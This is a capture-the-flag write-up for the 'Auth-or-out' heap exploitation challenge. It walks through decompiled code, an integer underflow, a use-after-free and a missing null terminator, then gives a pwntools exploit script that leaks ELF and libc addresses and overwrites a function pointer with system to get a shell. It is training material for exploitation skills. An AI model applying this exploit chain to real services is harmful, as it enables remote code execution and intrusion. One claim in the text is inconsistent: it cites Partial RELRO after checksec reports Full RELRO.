Auth-or-out

8th August 2023 / Document No. D23.102.6

Prepared By: ir0nstone

Challenge Author(s): dzonerzy

Difficulty: Medium

Classification: Official

Synopsis

Auth-or-out is a medium-difficulty binary exploitation challenge. Given a binary, the player has to reverse engineer a custom heap implementation and the application that makes use of the custom allocator. The goal is to make use of the Use-After-Free (UAF) vulnerability in the application to leak important addresses, and the heap buffer overflow to overwrite a function pointer stored on the heap by the application to get remote code execution on the server.

Description

Will u make this poetry possible?

Skills Required

- Comfortable with GDB
- Reverse Engineering

Skills Learned

- Understanding how dynamic memory allocation could be implemented.
- Understand vulnerabilities that could arise and be exploited in a heap implementation.
- Stepping stone to understanding libc's heap implementation.

Analysis

Protections

`checksec` shows us that the binary comes with all protections enabled:

```
➜ checksec auth-or-out
[*] '/root/data/auth-or-out'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

After running the binary we are greeted with a menu and multiple choices:

Decompilation

Let's throw the binary into our decompiler of choice.

`main()`

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  unsigned __int8 CustomHeap[14336]; // [rsp+0h] [rbp-3810h] BYREF
  _QWORD v5[2]; // [rsp+3800h] [rbp-10h] BYREF

  v5[1] = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  memset(CustomHeap, 0, sizeof(CustomHeap));
  if ( !ta_init(CustomHeap, v5, 0xAuLL, 0x10uLL, 8uLL) )
    return 0;
  puts("*** Welcome to DZONERZY authors editor v0.11.2 ***");
  while ( 2 )
  {
    switch ( print_menu() )
    {
      case 1uLL:
        add_author();
        continue;
      case 2uLL:
        modify_author();
        continue;
      case 3uLL:
        print_author();
```

```
        continue;
      case 4uLL:
        delete_author();
        continue;
      case 5uLL:
        puts("bye bye!");
        result = 0;
        break;
      default:
        continue;
    }
    return result;
  }
}
```

A classic menu where you can add, modify, print and delete authors.

The binary appears to use its own heap implementation, which it initialises using `ta_init` and then later interacts with using `ta_alloc()` and `ta_free()`. The exact mechanisms of these functions look complicated, so let's continue with the functionality of the program itself and see if we find anything there before we dive in too deeply.

`add_author()`

```
void __fastcall add_author()
{
  struct _Author *v0; // rbx
  _Author *v1; // rbx
  size_t v2; // rdx
  unsigned __int64 i; // [rsp+0h] [rbp-20h]
  unsigned __int64 NoteSize; // [rsp+8h] [rbp-18h]

  for ( i = 0LL; ; ++i )
  {
    if ( i > 9 )
    {
      puts("MAX AUTHORS REACHED!");
      return;
    }
    if ( !authors[i] )
      break;
  }
  authors[i] = (volatile PAuthor)ta_alloc(0x38uLL);
  if ( !authors[i] )
  {
    printf("Invalid allocation!");
    exit(0);
  }
  authors[i]->Print = (tPrintNote)PrintNote;
  printf("Name: ");
  get_from_user(authors[i]->Name, 0x10uLL);
  printf("Surname: ");
  get_from_user(authors[i]->Surname, 0x10uLL);
  printf("Age: ");
  v0 = authors[i];
```

```
  v0->Age = get_number();
  printf("Author Note size: ");
  NoteSize = get_number();
  if ( NoteSize )
  {
    v1 = authors[i];
    v1->Note = (char *)ta_alloc(NoteSize + 1);
    if ( !authors[i]->Note )
    {
      printf("Invalid allocation!");
      exit(0);
    }
    printf("Note: ");
    if ( NoteSize > 0x100 )
      v2 = 256LL;
    else
      v2 = NoteSize + 1;
    get_from_user(authors[i]->Note, v2);
  }
  printf("Author %llu added!\n\n", i + 1);
}
```

The author has kindly left a lot of debug symbols in, and IDA identifies a struct for us:

```
struct _Author {
    char Name[0x10];
    char Surname[0x10];
    char *Note;
    uint64_t Age;
    void (*Print)(char *);
}
```

Interestingly, we have a the function pointer at the bottom. This could be an easy target to get RCE later on. Oddly, sometimes IDA references a `volatile PAuthor`, but that seems to just be a **p**ointer to **author**. The `tPrintNote` is also bizarre.

The program allocates space on the heap and take in a name, surname and age, then allocates a new space for the char array `Note` and reads that in. It also sets the function pointer `Print` to the function `PrintNote`:

```
void __fastcall PrintNote(char *Note)
{
  printf("Note: [%s]\n", Note);
}
```

`get_number()`

However, let's look a little closer at the `NoteSize` variable. We use `get_number()` to read a value:

```
unsigned __int64 __fastcall get_number()
{
  char *buf; // [rsp+8h] [rbp-38h] BYREF
  char choice[32]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(choice, 0, sizeof(choice));
  __isoc99_scanf("%32s", choice);
  return strtoull(choice, &buf, 10);
}
```

`get_number()` returns an unsigned integer, which `NoteSize` is. However, what if we pass `-1` as parameter?

```
if ( NoteSize )
{
    v1 = authors[i];
    v1->Note = ta_alloc(NoteSize + 1);
    if ( !authors[i]->Note )
    {
        printf("Invalid allocation!");
        exit(0);
    }
    printf("Note: ");
    if ( NoteSize > 0x100 )
        v2 = 256LL;
    else
        v2 = NoteSize + 1;
    get_from_user(authors[i]->Note, v2);
}
```

Firstly, `NoteSize` will have a value in memory of `0xffffffffffffffff`. `ta_alloc()` will take in `NoteSize+1`, which would result in `0`, assigning a chunk of size zero.

The next `if` statement will tell us that `NoteSize > 0x100` is indeed true, so `v2` will be set to `256`. This means there are `256` bytes being read into a chunk with assigned size of `0`, leading to a heap overflow!

`get_from_user()`

`get_from_user()` also contains a vulnerability:

```
void __fastcall get_from_user(char *buffer, size_t size)
{
  size_t v2; // rax
  char c; // [rsp+1Bh] [rbp-15h] BYREF
  int fd; // [rsp+1Ch] [rbp-14h]
  size_t cnt; // [rsp+20h] [rbp-10h]
  unsigned __int64 canary; // [rsp+28h] [rbp-8h]

  canary = __readfsqword(0x28u);
  cnt = 0LL;
  if ( buffer && size )
```

```
  {
    fd = 0;
    while ( read(fd, &c, 1uLL) == 1 && cnt < size - 1 && c != '\n' )
    {
      v2 = cnt++;
      buffer[v2] = c;
    }
  }
}
```

It will read up to a newline, but does not null-terminate! This can be used to leak information.

`modify_author()`

Nothing here, essentially just takes in information again.

```
void __fastcall modify_author()
{
  unsigned __int64 authorid; // [rsp+0h] [rbp-10h]
  _Author *a; // [rsp+8h] [rbp-8h]

  do
  {
    printf("Author ID: ");
    authorid = get_number();
    putchar('\n');
  }
  while ( authorid > 0xA );
  a = authors[authorid - 1];
  if ( a )
  {
    printf("Name: ");
    get_from_user(a->Name, 0x10uLL);
    printf("Surname: ");
    get_from_user(a->Surname, 0x11uLL);
    printf("Age: ");
    a->Age = get_number();
    putchar(10);
  }
  else
  {
    printf("Author %llu does not exists!\n\n", authorid);
  }
}
```

`print_author()`

```
void __fastcall print_author()
{
  unsigned __int64 authorid; // [rsp+0h] [rbp-10h]
  _Author *a; // [rsp+8h] [rbp-8h]

  do
  {
```

```
    printf("Author ID: ");
    authorid = get_number();
    putchar(10);
  }
  while ( authorid > 0xA );
  a = authors[authorid - 1];
  if ( a )
  {
    puts("-----------------------");
    printf("Author %llu\n", authorid);
    printf("Name: %s\n", a->Name);
    printf("Surname: %s\n", a->Surname);
    printf("Age: %llu\n", a->Age);
    a->Print(a->Note);
    puts("-----------------------");
    putchar(10);
  }
  else
  {
    printf("Author %llu does not exists!\n\n", authorid);
  }
}
```

Prints all the data. As we mentioned, this can combine with `get_user_data()` to give us a leak!

`delete_author()`

And here is the classic vulnerability:

```
void __fastcall delete_author()
{
  unsigned __int64 authorid; // [rsp+0h] [rbp-10h]
  _Author *a; // [rsp+8h] [rbp-8h]

  do
  {
    printf("Author ID: ");
    authorid = get_number();
    putchar(10);
  }
  while ( authorid > 0xA );
  a = authors[authorid - 1];
  if ( a )
  {
    ta_free(a->Note);
    ta_free(a);
    authors[authorid - 1] = 0LL;
    printf("Author %llu deleted!\n\n", authorid);
  }
  else
  {
    printf("Author %llu does not exists!\n\n", authorid);
  }
}
```

The author and the note are freed, and the index is nulled out, but the pointer to the `Note` inside the freed `Author` instance is not nulled out! If we create another author but set a `NoteSize` of `0`, so there is no `Note` chunk allocated and no pointer written, it will **reuse** the pointer to the `Note` for the old Author! This gives us access to a freed chunk, leading to a UAF.

Exploitation

Setup

Classic helper functions below:

```
from pwn import *

elf = context.binary = ELF('./auth-or-out')
libc = elf.libc
p = process()

def add(name, surname, age, note, notesize=None):
    p.sendlineafter(b'Choice: ', b'1')
    p.sendlineafter(b'Name: ', name)
    p.sendlineafter(b'Surname: ', surname)
    p.sendlineafter(b'Age: ', str(age).encode())

    if not notesize:
        notesize = len(note)

    p.sendlineafter(b'size: ', str(notesize).encode())

    if notesize:
        p.sendlineafter(b'Note: ', note)

    p.recvuntil(b'Author ')
    return int(p.recvuntil(b' ', drop=True))

def modify(id, name, surname, age):
    p.sendlineafter(b'Choice: ', b'2')
    p.sendlineafter(b'ID: ', str(id).encode())
    p.sendafter(b'Name: ', name)
    p.sendlineafter(b'Surname: ', surname)
    p.sendlineafter(b'Age: ', str(age).encode())

def view(id):
    p.sendlineafter(b'Choice: ', b'3')
    p.sendlineafter(b'ID: ', str(id).encode())

    data = p.recvlines(7)[2:]
    author, name, surname, age, note = [d.split()[1] for d in data]
    age = int(age)

    return author, name, surname, age, note

def delete(id):
    p.sendlineafter(b'Choice: ', b'4')
    p.sendlineafter(b'ID: ', str(id).encode())
```

Leaking a Stack and ELF Address

By allocating two chunks (`A` and `B`) and then deleting both of them, they are transferred into the free list, placing a forward pointer in the first field of the chunk. If we allocate a 3rd chunk `C` without putting in a note, the pointer to the freed note from chunk B is still present. When the note of chunk C is printed the forward pointer of the freed chunk is printed on the screen. This is a stack address since the heap memory region is declared on the stack. We don't actually need a stack address, as we instead opt to target the GOT due to Partial RELRO.

By allocating another chunk `D` and attaching a note to it, the new note will be allocated above an old author chunk. So by sending the right-sized payload without any null bytes, we can write exactly *up* to the `PrintNote` pointer, exploiting the lack of null-byte termination to leak the pointer.

```
A = add(b'_', b'_', 0, b'A'*8)
B = add(b'_', b'_', 0, b'B'*8)

delete(A)
delete(B)

# Leak Stack and ELF Addresses
C = add(b'_', b'_', 0, '')
modify(C, b'_' * 16, b'_' * 16, 0)
#leak = view(C)                                          # has stack leak -
unnecessary

D = add(b'_' * 8, b'_' * 8, 0x12341234, b'_' * 8)       # right size for note
data to just TOUCH the old PrintNote pointer from an Author chunk
leak = view(D)[4][9:15]                                 # print out the note to
get an elf leak!
leak = u64(leak + b'\0\0')
log.success(f'ELF leak: 0x{leak:x}')

elf.address = leak - 0x1219
log.success(f'ELF Base: 0x{elf.address:x}')
```

Leaking a LIBC Address

Next goal is to get a leak of an address in libc. Using the heap overflow, the note pointer of an active author chunk can be overwritten with any address in memory and when the print function is invoked the content of that address will be leaked. Using this knowledge, we overwrite the address of the note with an address to a resolved Global Offset Table (GOT) entry, which should contain a pointer to a libc function.

It takes a bit of messing around to get the chunks to allocate in the correct order. To find the "heap" in memory, you can use pwndbg's `search` function:

```
pwndbg> search -t bytes ________
```

After some offset calculations, we get that this leaks libc (there is probably a nicer way to do it):

```
 Leak LIBC Address
E = add(b'eeee', b'eeee', 0, b'E' * 0x50, -1)
```

```
delete(C)
delete(D)

payload = b'F' * 0x68                          # padding to *Note pointer
payload += p64(elf.got['printf'])              # *Note pointer

F = add(b'ffff', b'ffff', 0, payload, -1)    # overwrites E's chunk

leak = view(E)[4][1:-1]
leak = u64(leak + b'\0\0')
log.success(f'LIBC leak: 0x{leak:x}')

libc.address = leak - libc.sym['printf']
log.success(f'LIBC Base: 0x{libc.address:x}')
```

Popping a Shell

With a leak, we can now pop a shell by overwriting the function pointer with the address of `system` and the `char *Note` pointer with the address of `/bin/sh`, then trigger a read. We have to do some more messing about on the heap to get that working, but once again it just comes down to calculating offsets correctly. To get it working, I just allocated 4 new chunks, deleted the middle two, and then allocated an overflow chunk, with which I overwrote the 4th.

```
# Pop a shell
delete(E)
delete(F)

G = add(b'gggg', b'gggg', 0, b'G' * 0x20, -1)
H = add(b'hhhh', b'hhhh', 0, b'H' * 0x20, -1)
I = add(b'iiii', b'iiii', 0, b'I' * 0x20, -1)
J = add(b'jjjj', b'jjjj', 0, b'J' * 0x20)

delete(H)
delete(I)

# payload = b'K' * 0x10
payload = b'K' * 0x58
payload += p64(next(libc.search(b'/bin/sh\0')))
payload += p64(0)
payload += p64(libc.sym['system'])

K = add(b'kkkk', b'kkkk', 0, payload, -1)

# trigger shell
p.sendlineafter(b'Choice: ', b'3')
p.sendlineafter(b'ID: ', str(J).encode())

p.interactive()
```

And boom, we get a shell.

Transferring Remote

To get it remote, we first have to leak libc addresses for specific functions. I get the following last digits:

```
printf      f70
puts        aa0
putchar     8f0
```

We put these values into an online libc identifier like libc.rip and get two possible libc versions:

```
libc6_2.27-3ubuntu1.4_amd64
libc6_2.27-3ubuntu1.3_amd64
```

Both of these have the exact same offsets for `printf`, `system` and `/bin/sh`, so we can hardcode that into our exploit and get a remote shell: